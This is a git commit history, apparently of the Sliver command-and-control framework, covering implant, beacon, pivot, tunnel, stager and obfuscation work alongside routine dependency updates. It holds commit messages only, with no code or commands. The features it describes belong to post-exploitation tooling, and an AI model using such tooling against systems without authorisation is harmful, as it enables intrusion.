mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
moloch-- 9bdb54e023 Upgrade yaml dep 2022-05-26 13:18:09 -07:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
Joe 6fa4aeb780 Merge pull request #676 from BishopFox/go/v1.18.2
Go v1.18.2
2022-05-14 21:16:40 -05:00
moloch-- 4e6466f43c Go v1.18.2 2022-05-14 18:02:45 -07:00
Ronan Kervella 802ad9dded Merge pull request #675 from r00t0v3rr1d3/r00t0v3rr1d3-fix-timeout
Reduce http idle conn timeout
2022-05-11 15:53:18 -07:00
Chris Shields 11fb6a5d31 Reduce http idle conn timeout
Fixing regression issue where keep-alive packets were sent every 15 seconds using gohttp. I think this was only applied to https clients the first time as well, so now it is for both.
2022-05-11 17:24:24 -04:00
Joe dc18da51b6 Merge pull request #672 from RafBishopFox/master
UX Changes for Looting and Refactoring in the client/exec package
2022-05-04 16:35:09 -05:00
RafBishopFox a7c0a2a667 Harmonizing UX for loot across commands that support it with refactoring along the way 2022-05-04 14:48:53 -04:00
Joe e9b08e5723 Merge pull request #671 from RafBishopFox/download_loot
Add loot support to the download command
2022-05-02 14:27:19 -05:00
RafBishopFox 144fb88f74 Refactoring download and loot remote code, feature parity for download -X, various small fixes 2022-05-02 13:46:07 -04:00
RafBishopFox cb11ca6b0c Adding error checking when we can resolve the absolute path when downloading 2022-04-28 13:30:51 -04:00
RafBishopFox 708608c6f0 Adding the rest of the protobuf changes 2022-04-28 13:23:13 -04:00
RafBishopFox 4110b5bd28 Adding changes to sliver protobuf 2022-04-28 13:18:18 -04:00
RafBishopFox 73e59797d1 Standardize on use of filepath to resolve file names 2022-04-28 13:10:32 -04:00
RafBishopFox 7da3ccd876 Add loot support to the download command 2022-04-28 12:53:45 -04:00
Ronan Kervella e7452b27d5 Merge pull request #669 from RafBishopFox/master
Changing token owner to token user to display user name associated with processes in Windows
2022-04-27 12:01:13 -07:00
RafBishopFox ff503203e3 Changing token owner to token user to display user name associated with a process in Windows 2022-04-27 13:45:28 -04:00
moloch-- 8462e4415f added linux-arm64 to makefile, only specify arm64 GOARCH for no target 2022-04-26 18:22:23 -05:00
moloch-- af2f7ffc9d Organized go mod 2022-04-26 15:02:05 -05:00
moloch-- aacf2c16ac Add strategy flags to profile cmds 2022-04-18 12:40:58 -05:00
moloch-- c345731a6b Add static links to .so objs when using external CC 2022-04-17 23:47:18 -05:00
moloch-- c495377f4b Tweak CC env order 2022-04-17 20:57:29 -05:00
Joe cd5717db2a Merge pull request #664 from BishopFox/ux/strategy
Ux/strategy
2022-04-17 00:30:01 -05:00
moloch-- 1f00eec899 Remove conflicting beacon flag 2022-04-16 22:58:12 -05:00
moloch-- ef87aa91cc Append '.' to dns listener domain if missing 2022-04-16 21:29:47 -05:00
moloch-- faab1edaaf Implement connection strategy 2022-04-16 21:15:55 -05:00
Joe 6dab042c8c Merge pull request #663 from BishopFox/ux/cdc
Ux/cdc
2022-04-14 18:53:22 -05:00
Joe b116ac97c5 Merge pull request #660 from BishopFox/go/v1.18.1
Go/v1.18.1
2022-04-13 20:58:30 -05:00
moloch-- d9fe00d1ef Implemented session filter/filter-re 2022-04-13 20:36:37 -05:00
moloch-- 630f215bed Implemented beacon filter/filter-re 2022-04-13 14:48:27 -05:00
moloch-- f42ba31753 Organized imports 2022-04-13 13:53:07 -05:00
moloch-- 72065cd39e Removed totp <-> dns session id 2022-04-13 11:29:56 -05:00
moloch-- 0c1a0fd7bf Implement option to disable dns otp auth 2022-04-13 08:58:44 -05:00
moloch-- c12cbc77a7 Added linux arm64 support to builds 2022-04-13 08:25:08 -05:00
moloch-- f79e0d1845 Go v1.18.1 2022-04-13 08:11:23 -05:00
Joe b4b1a5bf74 Merge pull request #658 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.4
Bump nokogiri from 1.13.3 to 1.13.4 in /docs
2022-04-12 07:56:39 -05:00
dependabot[bot] c0431bf9db Bump nokogiri from 1.13.3 to 1.13.4 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.13.4/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-04-12 10:03:25 +00:00
moloch-- 54ce7ef341 Added support for HTTPS_PROXY 2022-04-07 08:26:06 -05:00
moloch-- bbff000f5d Increase ci/cd timeout 2022-04-04 12:38:55 -07:00
Joe 009cae470e Merge pull request #656 from BishopFox/go-sqlite2
Updated gosqlite
2022-04-04 14:31:08 -05:00
moloch-- 291fcf6dc3 Updated gosqlite 2022-04-04 11:36:01 -07:00
Joe 696d2980ff Merge pull request #655 from npbf/wininet-promptpass
Add wininet driver option to ask user for proxy password
2022-04-01 19:12:17 -05:00
Noah f2065ca72a add option to ask for proxy creds 2022-04-01 15:26:51 -06:00
Noah 5a9c4c9ddb refactor, fix error return 2022-04-01 14:35:48 -06:00
Joe 6ff1edb962 Merge pull request #652 from m0rv4i/stack-alignment
Prepend stack alignment check to shellcode
2022-04-01 14:02:52 -05:00
Joe 93e772f5bf Merge pull request #654 from m0rv4i/file-saving
Fix go stager file saving
2022-04-01 12:58:20 -05:00
Joe 7f714621ea Merge pull request #647 from npbf/wininet
merge wininet, fix cookies
2022-04-01 12:16:57 -05:00
m0rv4i 11a4ae0741 Prepend stack alignment check to donut shellcode 2022-04-01 10:18:07 +01:00
m0rv4i debee05136 Fix go stager file saving 2022-03-31 20:36:41 +01:00
Noah c8eec91232 add prompt user for creds 2022-03-31 13:08:21 -06:00
Ronan Kervella f79a2892b7 Merge pull request #650 from RafBishopFox/master
Adding procdump support for Linux
2022-03-30 11:56:13 -07:00
RafBishopFox b86e49d341 Adding procdump support for Linux 2022-03-30 10:08:04 -04:00
Noah 8e6a8035b2 update err variables 2022-03-29 16:26:12 -06:00
Noah 0a8d4cb517 merge wininet, fix cookies
Extracted from winhttp2 branch
- limited to wininet code
- merged httpclient
- added (copied) cookie jar implementation to wininet
2022-03-28 10:47:34 -06:00
Ronan Kervella e098e3ec08 Merge pull request #637 from audibleblink/current-token-owner
display token owner
2022-03-23 14:03:34 -07:00
Alex Flores a89e52548d fixes beacon-mode printing 2022-03-23 15:07:07 -04:00
Alex Flores fe873b8d8e adds generated protobuf files 2022-03-23 14:18:56 -04:00
Alex Flores d0af0f5534 adds viewing current impersonated token via whoami 2022-03-23 14:18:55 -04:00
kmathisbf 3cc982068a Merge pull request #645 from BishopFox/session_clean_fix
Make sure timeout gets set when cleaning up dead sessions.
2022-03-23 13:58:12 -04:00
Kenny Mathis 1073dedf10 Make sure timeout gets set when cleaning up dead sessions. 2022-03-23 12:55:59 -04:00
Joe e42e6be266 Merge pull request #643 from BishopFox/fix/operator-dead-sessions
Fix `prelude-operator connect`
2022-03-22 13:42:40 -05:00
rkervella e43622606f Do not add dead sessions to operator 2022-03-22 10:23:21 -07:00
Joe 59c642143d Merge pull request #642 from audibleblink/no-ci-on-draft-prs
omits running CI on draft PRs
2022-03-21 23:13:01 -05:00
Alex Flores 8f01ab216d skip running CI on draft PRs 2022-03-21 22:45:52 -04:00
Ronan Kervella 062f89e768 Merge pull request #638 from audibleblink/feature/mv
adds generic mv command
2022-03-21 15:42:50 -07:00
Alex Flores 03b470aec7 adds generated protobuf files 2022-03-21 15:17:24 -04:00
Alex Flores a74d6f6250 adds mv command 2022-03-21 15:17:23 -04:00
moloch-- 4f62f16a1d Fix GOGARBLE env 2022-03-21 13:41:03 -05:00
Joe d4ec2203cb Merge pull request #640 from BishopFox/go/v1.18
Go/v1.18
2022-03-21 12:19:48 -05:00
moloch-- 8309e7af14 Merge master 2022-03-21 10:19:48 -05:00
moloch-- 68a270581f Pass down HTTP_PROXY env to go 2022-03-21 10:15:02 -05:00
moloch-- 5e222411c8 Update pb deps 2022-03-20 13:40:10 -05:00
moloch-- 727a40bc35 Update garble 2022-03-20 13:02:25 -05:00
moloch-- 2038fbcfa3 Update CI to Go v1.18 2022-03-20 12:13:11 -05:00
moloch-- 9a5a3d161a Fix err check in wg 2022-03-20 11:46:41 -05:00
moloch-- 4b4e7c82f2 Implant compiles, but errors on runtime 2022-03-20 11:44:25 -05:00
moloch-- 2844ef91d3 Update implant 2022-03-20 11:37:39 -05:00
moloch-- cffbae3da7 Compiles ... 2022-03-20 11:19:30 -05:00
moloch-- 35fa3c95b8 Attempting to use wg example code 2022-03-20 11:16:27 -05:00
moloch-- 53afb01366 Attempting to use wg example code 2022-03-20 11:16:20 -05:00
moloch-- 33401dcd18 Merge master 2022-03-20 10:58:04 -05:00
Ronan Kervella f4fcbd9cdf Merge pull request #624 from BishopFox/fix/stage_encryption
Refactoring of client side crypto code
2022-03-09 12:55:15 -08:00
rkervella 3c864311fa Add missing file 2022-03-09 12:00:16 -08:00
rkervella 6db7c42d47 Refactor client cryptography code. 2022-03-09 11:59:43 -08:00
Ronan Kervella 004047308f Merge pull request #623 from BishopFox/fix/beacon-service
Service beacons
2022-03-09 11:24:51 -08:00
rkervella ca0fd1e7be Refactor to allow beacon services on Windows.
Fixes #622.
2022-03-08 12:48:23 -08:00
Ronan Kervella 204f013c5d Merge pull request #620 from BishopFox/feature/beacon-operator
Add beacon support to `prelude-operator connect`
2022-03-07 09:53:48 -08:00
moloch-- ac33916348 Update gems 2022-03-06 07:30:26 -06:00
rkervella 75b96fbc29 Remove powershell support from Linux and Darwin executors 2022-03-04 15:44:19 -08:00
rkervella 07bfb1735e Fix null pointer deref in error case 2022-03-04 15:43:14 -08:00
Joe ea20b344ce Merge pull request #619 from BishopFox/go/v1.17.8
Go v1.17.8
2022-03-04 17:31:04 -06:00
rkervella 98c1ac9547 Merge branch 'master' into feature/beacon-operator 2022-03-04 15:23:51 -08:00
rkervella 439c88ce78 Add missing file 2022-03-04 15:20:00 -08:00
rkervella 461aa255ca Add beacon support for Operator 2022-03-04 15:19:50 -08:00
moloch-- 076e34dd02 Go v1.17.8 2022-03-04 12:04:56 -06:00
Ronan Kervella ae517d1d34 Merge pull request #618 from BishopFox/fix/dll-race
Add "run-at-load" flag for shared libraries
2022-03-03 15:38:24 -08:00
rkervella d34541a3d4 Add "run-at-load" flag for shared libraries 2022-03-03 13:37:22 -08:00
Joe db7adc172d Merge pull request #617 from ExAndroidDev/stage-encryption
Added option to encrypt the stage via AES encryption
2022-03-02 07:18:19 -06:00
ExAndroidDev 2f520931f8 Added option to encrypt the stage via AES encryption 2022-02-28 17:15:27 +01:00
Joe 707ce345c7 Merge pull request #616 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.3
Bump nokogiri from 1.12.5 to 1.13.3 in /docs
2022-02-26 07:48:16 -06:00
dependabot[bot] fcae20f92a Bump nokogiri from 1.12.5 to 1.13.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-02-26 12:06:00 +00:00
moloch-- d09c1fd086 align prelude bof compatibility 2022-02-24 11:57:11 -06:00
moloch-- 98f510abf4 Allow more env overloads in makefile 2022-02-23 19:28:38 -06:00
Joe f2aa7b45c8 Merge pull request #614 from BishopFox/fix/exts
Various small fixes to extensions
2022-02-23 17:57:49 -06:00
moloch-- 01a0bfc9cf various small fixes to extensions 2022-02-23 17:18:55 -06:00
Ronan Kervella 0cef6749b5 Merge pull request #613 from BishopFox/fix/screenshot
Fix for screenshot command
2022-02-23 14:31:23 -08:00
rkervella 2b286ae3cf Deserialize to the proper message, and don't reuse message in response. Fixes Screenshot not working. #610 2022-02-23 13:53:19 -08:00
Ronan Kervella ee7d36dfed Merge pull request #611 from BishopFox/feature/beacon-audit-log
Add beacon registration to audit log
2022-02-22 18:12:46 -08:00
rkervella 7d793841f9 Add beacon registration to audit log 2022-02-22 15:52:32 -08:00
Joe fc61b82de2 Merge pull request #603 from BishopFox/fix/obfuscation
Fix regexp to include enums
2022-02-19 11:17:08 -06:00
moloch-- c91c724912 update garble with upstream, GOGARBLE, and -seed=random 2022-02-17 17:26:29 -06:00
rkervella 46d81fefa1 Fix regexp to include enums 2022-02-17 14:30:56 -08:00
moloch-- 23da56f5f9 Go v1.18 rc1 2022-02-17 16:15:50 -06:00
moloch-- 4a8397374e regenerate pb 2022-02-17 15:53:38 -06:00
moloch-- 359224a43e Added JS_TYPE to pivot protos 2022-02-17 15:51:47 -06:00
moloch-- 8a2d087039 Reduce http idle conn timeout 2022-02-17 15:51:47 -06:00
Joe aa50e9c874 Update README.md 2022-02-13 11:59:23 -06:00
Joe 646ef4273a Merge pull request #599 from BishopFox/fix/kill
Fix/kill
2022-02-12 18:59:52 -06:00
moloch-- 34738d2337 check rpc err on terminate cmd 2022-02-12 18:25:56 -06:00
moloch-- de31135fa5 fix related to session state mgmt and kill 2022-02-12 16:14:09 -06:00
Joe 8bc39cc231 Merge pull request #598 from BishopFox/fix/pivots
Fix/pivots
2022-02-12 14:54:44 -06:00
moloch-- f71a066ffc fix pivot/server ping interval, and calculation of pivot health 2022-02-12 13:45:00 -06:00
moloch-- 4b2b80b2f8 fix pivot session cleanup 2022-02-12 12:45:07 -06:00
moloch-- 41669ed41f fix pivotsession cleanup 2022-02-12 12:43:35 -06:00
moloch-- cdfee6510e fix issue #590, and improper named pivot peer ping cleanup 2022-02-12 12:41:39 -06:00
Joe 3826ca851e Merge pull request #596 from BishopFox/fix/reconfig
Fix Reconfig/Rename
2022-02-12 09:42:02 -06:00
moloch-- d2d7637b7d Updated reconfig cmd to support beacons, seperated rename cmd 2022-02-12 09:14:06 -06:00
moloch-- e907878674 Added link to wiki in help 2022-02-11 18:33:22 -06:00
Joe 21b7842bbf Merge pull request #595 from BishopFox/go/v1.17.7
Go v1.17.7
2022-02-11 17:04:48 -06:00
moloch-- b1ad4ada9e Go v1.17.7 2022-02-11 14:27:31 -06:00
Joe cf0b9766f7 Merge pull request #594 from kyleavery/prelude-changes
Prelude Operator: Small fixes and a new feature
2022-02-09 07:44:19 -06:00
Kyle Avery c4b096f867 fix coff-loader path 2022-02-09 04:40:23 -06:00
Kyle Avery 295c7cb5a0 Bringing back in executor changes 2022-02-09 04:33:18 -06:00
Kyle Avery 6d8d80970e trying out execute-assembly 2022-02-09 04:22:19 -06:00
Kyle Avery 925e5dfee7 testing 2022-02-08 18:56:21 -06:00
Kyle Avery 1885dc5ee3 added pwsh 2022-02-08 18:16:38 -06:00
Kyle Avery 1f694bda41 changes from v1.5.0_prelude_bugfix 2022-02-08 18:01:36 -06:00
Joe 53a35e4727 Update README.md 2022-02-08 17:59:10 -06:00
Joe 082dd94ea5 Merge pull request #591 from BishopFox/ux/term
tui ux improvements
2022-02-07 14:10:38 -07:00
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
Chris Smith ec1339e766 Updated format string 2022-01-25 13:46:57 +00:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
Chris Smith b452d42314 Fix format string for session kills 2022-01-25 01:55:35 +00:00
moloch-- 8e9f6a874c Removed some problematic words from rng dictionaries 2022-01-24 17:21:30 -06:00
moloch-- d0f51d7792 Fix for issue #576 2022-01-24 10:25:33 -06:00
moloch-- ce1d2a2c55 Fix fmt type in kill session 2022-01-24 09:17:59 -06:00
moloch-- 6965958097 fix for issue #575 2022-01-24 08:44:19 -06:00
moloch-- eb8d1bdf11 Add new flags to linux static build 2022-01-23 17:35:55 -06:00
moloch-- 6e5797670d update github pages 2022-01-23 17:23:37 -06:00
Joe c1eeb532e3 Merge pull request #574 from BishopFox/feature/async-alias
Added support for aliases in beacon mode
2022-01-23 15:02:35 -06:00
Joe c7c8027091 Merge pull request #573 from BishopFox/feature/async-ext
Feature/async ext
2022-01-23 14:33:16 -06:00
moloch-- ce27108c1a Added support for aliases in beacon mode 2022-01-23 14:33:02 -06:00
moloch-- 235fb87842 Skip list ext check in beacon mode 2022-01-23 14:02:50 -06:00
moloch-- a0d71f4fe8 fix output 2022-01-23 13:18:02 -06:00
moloch-- 0502f82967 cleanup 2022-01-23 13:07:32 -06:00
moloch-- 2553772ec0 exts execute in beacon mode but no output 2022-01-23 11:58:58 -06:00
moloch-- 406a10d639 initial refactor to support async ext 2022-01-23 10:01:47 -06:00
moloch-- 92b2d2464c initial refactor to support async ext 2022-01-23 10:01:44 -06:00
moloch-- ead0a5ea1e Use golang.org/x/term 2022-01-22 11:44:39 -06:00
moloch-- d0ec264454 hide armory urls on small terminals 2022-01-22 10:23:14 -06:00
moloch-- 9c7e47c95e added armory github.com parser 2022-01-22 08:57:20 -06:00
Joe 4c5a099d5c Merge pull request #569 from BishopFox/fix/alias
Fix/alias
2022-01-22 08:02:49 -06:00
moloch-- 4ed42e4a3d fix alias tar.gz artifact paths 2022-01-22 07:35:47 -06:00
moloch-- ffee881de0 fix alias loading 2022-01-21 21:41:43 -06:00
moloch-- 339bf15387 fix alias loading 2022-01-21 21:20:00 -06:00
moloch-- 92c9a50ba7 style cleanup 2022-01-21 20:58:51 -06:00
Joe 99e6765896 Merge pull request #568 from BishopFox/fix/namedpipes
fix named pipe pivots
2022-01-21 20:02:30 -06:00
moloch-- b5d1e9a3d1 fix named pipe pivots 2022-01-21 19:36:03 -06:00
Joe d1dbd3dcb7 Merge pull request #566 from bluec0re/patch-1
Fix broken implants rm command
2022-01-21 09:14:01 -06:00
BlueC0re 8b81de5129 Fix broken implants rm command
ImplantConfig.Name is empty and the config name is instead stored in the map key.
2022-01-21 15:30:05 +01:00
moloch-- bcc7fb0fcb Fix several bugs related to alias interface 2022-01-20 19:43:00 -06:00
moloch-- 795001f690 Remove debug 2022-01-20 18:15:57 -06:00
moloch-- b0c4f89bcf Improved armory error msgs 2022-01-20 18:13:33 -06:00
moloch-- fb72322065 Added stylized sec product names 2022-01-20 14:02:55 -06:00
moloch-- a1e51d64d4 fix variable name 2022-01-20 08:52:03 -06:00
moloch-- d15c257176 Updated readme 2022-01-20 08:27:00 -06:00
moloch-- 97d3da75b6 Merge master 2022-01-20 08:22:39 -06:00
moloch-- 4e3efeb623 Removed # 2022-01-19 20:39:47 -06:00
moloch-- 81c7dd69da Fix miscalculation in randomization of long poll timeout 2022-01-19 20:19:43 -06:00
moloch-- 6c3b754943 ux improvements 2022-01-19 19:04:49 -06:00
moloch-- fbea84eeb6 fix several format strings 2022-01-19 18:36:17 -06:00
moloch-- 0c83bdc6d1 converted session id to uuid 2022-01-19 18:28:41 -06:00
moloch-- 476eafccf5 Implemented close session cmd 2022-01-19 11:42:15 -06:00
moloch-- 1501633565 Interactive pulls active c2 2022-01-19 09:20:16 -06:00
moloch-- addd22d2f7 Fix implant init 2022-01-19 08:21:54 -06:00
moloch-- f196278c3e Fix implant init 2022-01-19 08:21:07 -06:00
moloch-- 3aa33d3679 Merge pr #552 2022-01-19 08:10:27 -06:00
moloch-- ab197461ae Merge branch 'stage' into usiegl00-stage3 2022-01-19 07:53:12 -06:00
moloch-- 6488df4374 added force-http option 2022-01-19 07:48:54 -06:00
usiegl00 15c5eb29e5 Merge branch 'stage' of https://github.com/BishopFox/sliver into stage3 2022-01-19 14:40:36 +09:00
moloch-- 91e4f5a33b Fix init 2022-01-18 22:35:06 -06:00
moloch-- 62a6ffd1ac Fix pivot reconnection/restart listener 2022-01-18 21:28:23 -06:00
moloch-- a69512ba65 Implemented detection of downstream pivot disconnects/errors 2022-01-18 15:27:08 -06:00
moloch-- 3a1cd3a477 Merge branch 'stage' into v1.5.0_pivots 2022-01-18 09:09:51 -06:00
moloch-- da0499f9da Converted core jobs to sync.map 2022-01-18 08:38:33 -06:00
moloch-- 3169b436a8 server can detect disconnected pivot sessions when parent session is disconnected 2022-01-18 08:25:37 -06:00
moloch-- 26faea2ae0 wip: close upstream disconnected pivot sessions 2022-01-18 08:25:37 -06:00
moloch-- 11eb5f5f27 pivot graph working 2022-01-18 08:25:36 -06:00
moloch-- 49d742cfad Implemented pivot graphs 2022-01-18 08:25:36 -06:00
moloch-- 028521ddc0 tweak pivots ui 2022-01-18 08:25:36 -06:00
moloch-- 66dad91d86 basic n-depth pivots working 2022-01-18 08:25:36 -06:00
moloch-- b9f8e045d9 Fix pivot session id parsing 2022-01-18 08:25:36 -06:00
moloch-- 8ffad32591 Reworked and simplified design, new key exchange 2022-01-18 08:25:36 -06:00
moloch-- d60dcabd86 check golang version 2022-01-18 08:25:36 -06:00
moloch-- 68cece2b96 wip on minor updates 2022-01-18 08:25:36 -06:00
moloch-- 5d3ef197e3 simplified nested envelopes 2022-01-18 08:25:36 -06:00
moloch-- 62c8d678e2 Refactor/simplified design 2022-01-18 08:25:36 -06:00
moloch-- 68fd6b27f9 Refactor/simplified design 2022-01-18 08:25:36 -06:00
moloch-- 21d2a10b7a Removed some unprofessional words from our english dictionary 2022-01-18 08:25:36 -06:00
moloch-- efd4115a1c Minor fixes 2022-01-18 08:25:36 -06:00
moloch-- eed3f51be2 server can detect disconnected pivot sessions when parent session is disconnected 2022-01-18 08:24:34 -06:00
moloch-- 54b09d9a26 wip: close upstream disconnected pivot sessions 2022-01-17 22:32:36 -06:00
moloch-- 1bc1bc11c0 pivot graph working 2022-01-17 17:55:50 -06:00
moloch-- 14aebe943c Implemented pivot graphs 2022-01-16 10:58:12 -06:00
moloch-- 0f20dddc95 tweak pivots ui 2022-01-15 16:36:16 -06:00
moloch-- 75e0b9d931 basic n-depth pivots working 2022-01-15 09:44:58 -06:00
moloch-- 7af5280cd6 Fix pivot session id parsing 2022-01-15 08:50:33 -06:00
moloch-- 1d86383e0d Reworked and simplified design, new key exchange 2022-01-15 08:36:39 -06:00
rkervella 3be52dde2f Add back exports 2022-01-12 09:12:44 -08:00
rkervella 8b18bf571a Install dependencies for bundles too 2022-01-11 14:25:44 -08:00
moloch-- 6dacb8ad9f Merge branch 'stage' into v1.5.0_pivots 2022-01-10 11:20:02 -06:00
moloch-- 1db8e5a22e check golang version 2022-01-10 11:19:56 -06:00
moloch-- 45f323eae9 wip on minor updates 2022-01-08 09:48:53 -06:00
moloch-- 22e615b1b4 Merge branch 'stage' into v1.5.0_pivots 2022-01-06 09:22:06 -06:00
moloch-- afa534ea39 simplified nested envelopes 2022-01-06 09:16:20 -06:00
Joe 10429b7314 Merge pull request #560 from hypnoticpattern/dev-hp
Fixed bug in ls command and added timestamp to SessionClosed
2022-01-05 22:24:35 -06:00
hypnoticpattern dfb6d2e1bb Fixed bug with 'ls' command 2022-01-05 16:54:19 -08:00
hypnoticpattern de3f2c827d Added timestamp to the SessionClosed event 2022-01-05 14:11:28 -08:00
Joe 4569621a8a Merge pull request #559 from hypnoticpattern/dev-hp
Added Crowdstrike Falcon EDR to known processes
2022-01-05 12:25:51 -06:00
hypnoticpattern f21242ca2c Added Crowdstrike Falcon EDR 2022-01-05 08:17:23 -08:00
moloch-- c13a71c92f Refactor/simplified design 2022-01-04 10:51:59 -06:00
moloch-- 9b85a63f69 Refactor/simplified design 2022-01-04 09:53:12 -06:00
moloch-- fdab12c9a5 Removed some unprofessional words from our english dictionary 2022-01-03 11:53:49 -06:00
moloch-- 26abb42859 Minor fixes 2022-01-03 08:54:32 -06:00
moloch-- bf892e9c4b Fix ext id when loading into implant 2022-01-01 09:29:33 -06:00
moloch-- cb7f2b1aea Added download msg 2021-12-31 10:50:40 -06:00
moloch-- 44f16bb6a3 Improved ux 2021-12-31 10:21:41 -06:00
moloch-- 51af17906c Remove coff loader from go assets script 2021-12-31 10:17:47 -06:00
moloch-- 4ba374cee6 Fix extraction path in install from file 2021-12-31 10:12:04 -06:00
moloch-- 55c1145b2d Fix plaintext len calculation 2021-12-30 19:28:27 -06:00
rkervella 336fc4ffea Avoid attempting to load empty library 2021-12-30 13:52:22 -08:00
rkervella 581395e9a4 Fix extension filepath 2021-12-30 13:51:57 -08:00
moloch-- 16ce440014 Fix help cmd 2021-12-30 14:33:23 -06:00
moloch-- 2bf87bff98 Merge branch 'alias-ext' into stage 2021-12-30 11:49:41 -06:00
rkervella 63c316e4d7 Set full file path 2021-12-30 09:48:39 -08:00
moloch-- 65788c1003 Fix armory update cmd exists 2021-12-30 11:44:54 -06:00
moloch-- cf8e6ace2e Basic implementation of bundles 2021-12-30 10:47:10 -06:00
moloch-- 131061a015 Implemented update cmd 2021-12-30 10:09:02 -06:00
moloch-- ed18705ccf Use fork of grumble so we can remove cmds 2021-12-30 09:51:46 -06:00
moloch-- 88be0e0846 Added search cmd 2021-12-29 17:46:42 -06:00
moloch-- edd330a4e1 Make coff-loader removable 2021-12-29 17:11:38 -06:00
